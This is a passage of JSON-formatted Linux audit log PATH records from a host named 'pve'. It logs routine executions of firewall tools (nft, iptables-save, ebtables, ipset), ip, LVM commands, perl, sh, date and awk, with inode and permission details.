mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535336,"@rawstring":"node=pve type=PATH msg=audit(1781964535.336:61426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535336,"@rawstring":"node=pve type=PATH msg=audit(1781964535.336:61426): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535330,"@rawstring":"node=pve type=PATH msg=audit(1781964535.330:61425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535330,"@rawstring":"node=pve type=PATH msg=audit(1781964535.330:61425): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535323,"@rawstring":"node=pve type=PATH msg=audit(1781964535.323:61424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535323,"@rawstring":"node=pve type=PATH msg=audit(1781964535.323:61424): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PATH msg=audit(1781964534.742:61423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PATH msg=audit(1781964534.742:61423): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PATH msg=audit(1781964534.742:61422): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PATH msg=audit(1781964534.742:61421): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PATH msg=audit(1781964534.733:61420): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PATH msg=audit(1781964534.733:61420): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PATH msg=audit(1781964534.733:61419): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PATH msg=audit(1781964534.733:61418): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534216,"@rawstring":"node=pve type=PATH msg=audit(1781964534.216:61417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534216,"@rawstring":"node=pve type=PATH msg=audit(1781964534.216:61417): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534186,"@rawstring":"node=pve type=PATH msg=audit(1781964534.186:61416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534186,"@rawstring":"node=pve type=PATH msg=audit(1781964534.186:61416): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PATH msg=audit(1781964529.724:61415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PATH msg=audit(1781964529.724:61415): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PATH msg=audit(1781964529.724:61414): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PATH msg=audit(1781964529.724:61413): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PATH msg=audit(1781964529.709:61412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PATH msg=audit(1781964529.709:61412): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PATH msg=audit(1781964529.709:61411): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PATH msg=audit(1781964529.709:61410): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525313,"@rawstring":"node=pve type=PATH msg=audit(1781964525.313:61409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525313,"@rawstring":"node=pve type=PATH msg=audit(1781964525.313:61409): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525311,"@rawstring":"node=pve type=PATH msg=audit(1781964525.311:61408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525311,"@rawstring":"node=pve type=PATH msg=audit(1781964525.311:61408): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=PATH msg=audit(1781964525.309:61407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=PATH msg=audit(1781964525.309:61407): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=PATH msg=audit(1781964525.309:61406): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525305,"@rawstring":"node=pve type=PATH msg=audit(1781964525.305:61405): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525305,"@rawstring":"node=pve type=PATH msg=audit(1781964525.305:61405): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525305,"@rawstring":"node=pve type=PATH msg=audit(1781964525.305:61405): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525299,"@rawstring":"node=pve type=PATH msg=audit(1781964525.299:61404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525299,"@rawstring":"node=pve type=PATH msg=audit(1781964525.299:61404): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525293,"@rawstring":"node=pve type=PATH msg=audit(1781964525.293:61403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525293,"@rawstring":"node=pve type=PATH msg=audit(1781964525.293:61403): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525286,"@rawstring":"node=pve type=PATH msg=audit(1781964525.286:61402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525286,"@rawstring":"node=pve type=PATH msg=audit(1781964525.286:61402): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525279,"@rawstring":"node=pve type=PATH msg=audit(1781964525.279:61401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525279,"@rawstring":"node=pve type=PATH msg=audit(1781964525.279:61401): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525274,"@rawstring":"node=pve type=PATH msg=audit(1781964525.274:61399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525274,"@rawstring":"node=pve type=PATH msg=audit(1781964525.274:61399): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525270,"@rawstring":"node=pve type=PATH msg=audit(1781964525.270:61398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525270,"@rawstring":"node=pve type=PATH msg=audit(1781964525.270:61398): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525264,"@rawstring":"node=pve type=PATH msg=audit(1781964525.264:61397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525264,"@rawstring":"node=pve type=PATH msg=audit(1781964525.264:61397): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525259,"@rawstring":"node=pve type=PATH msg=audit(1781964525.259:61396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525259,"@rawstring":"node=pve type=PATH msg=audit(1781964525.259:61396): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525255,"@rawstring":"node=pve type=PATH msg=audit(1781964525.255:61395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525255,"@rawstring":"node=pve type=PATH msg=audit(1781964525.255:61395): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525250,"@rawstring":"node=pve type=PATH msg=audit(1781964525.250:61394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525250,"@rawstring":"node=pve type=PATH msg=audit(1781964525.250:61394): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525243,"@rawstring":"node=pve type=PATH msg=audit(1781964525.243:61393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525243,"@rawstring":"node=pve type=PATH msg=audit(1781964525.243:61393): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525237,"@rawstring":"node=pve type=PATH msg=audit(1781964525.237:61392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525237,"@rawstring":"node=pve type=PATH msg=audit(1781964525.237:61392): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525233,"@rawstring":"node=pve type=PATH msg=audit(1781964525.233:61391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525233,"@rawstring":"node=pve type=PATH msg=audit(1781964525.233:61391): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525230,"@rawstring":"node=pve type=PATH msg=audit(1781964525.230:61390): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525230,"@rawstring":"node=pve type=PATH msg=audit(1781964525.230:61390): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=PATH msg=audit(1781964525.229:61389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=PATH msg=audit(1781964525.229:61389): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=PATH msg=audit(1781964525.229:61388): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525225,"@rawstring":"node=pve type=PATH msg=audit(1781964525.225:61387): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525225,"@rawstring":"node=pve type=PATH msg=audit(1781964525.225:61387): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525225,"@rawstring":"node=pve type=PATH msg=audit(1781964525.225:61387): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525218,"@rawstring":"node=pve type=PATH msg=audit(1781964525.218:61386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525218,"@rawstring":"node=pve type=PATH msg=audit(1781964525.218:61386): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525213,"@rawstring":"node=pve type=PATH msg=audit(1781964525.213:61385): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525213,"@rawstring":"node=pve type=PATH msg=audit(1781964525.213:61385): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525208,"@rawstring":"node=pve type=PATH msg=audit(1781964525.208:61384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525208,"@rawstring":"node=pve type=PATH msg=audit(1781964525.208:61384): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525200,"@rawstring":"node=pve type=PATH msg=audit(1781964525.200:61383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525200,"@rawstring":"node=pve type=PATH msg=audit(1781964525.200:61383): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525194,"@rawstring":"node=pve type=PATH msg=audit(1781964525.194:61382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525194,"@rawstring":"node=pve type=PATH msg=audit(1781964525.194:61382): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PATH msg=audit(1781964524.698:61381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PATH msg=audit(1781964524.698:61381): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PATH msg=audit(1781964524.698:61380): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PATH msg=audit(1781964524.698:61379): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PATH msg=audit(1781964524.692:61378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PATH msg=audit(1781964524.692:61378): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PATH msg=audit(1781964524.692:61377): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PATH msg=audit(1781964524.692:61376): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524114,"@rawstring":"node=pve type=PATH msg=audit(1781964524.114:61375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524114,"@rawstring":"node=pve type=PATH msg=audit(1781964524.114:61375): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524088,"@rawstring":"node=pve type=PATH msg=audit(1781964524.088:61374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524088,"@rawstring":"node=pve type=PATH msg=audit(1781964524.088:61374): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519762,"@rawstring":"node=pve type=PATH msg=audit(1781964519.762:61373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519762,"@rawstring":"node=pve type=PATH msg=audit(1781964519.762:61373): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519761,"@rawstring":"node=pve type=PATH msg=audit(1781964519.761:61372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 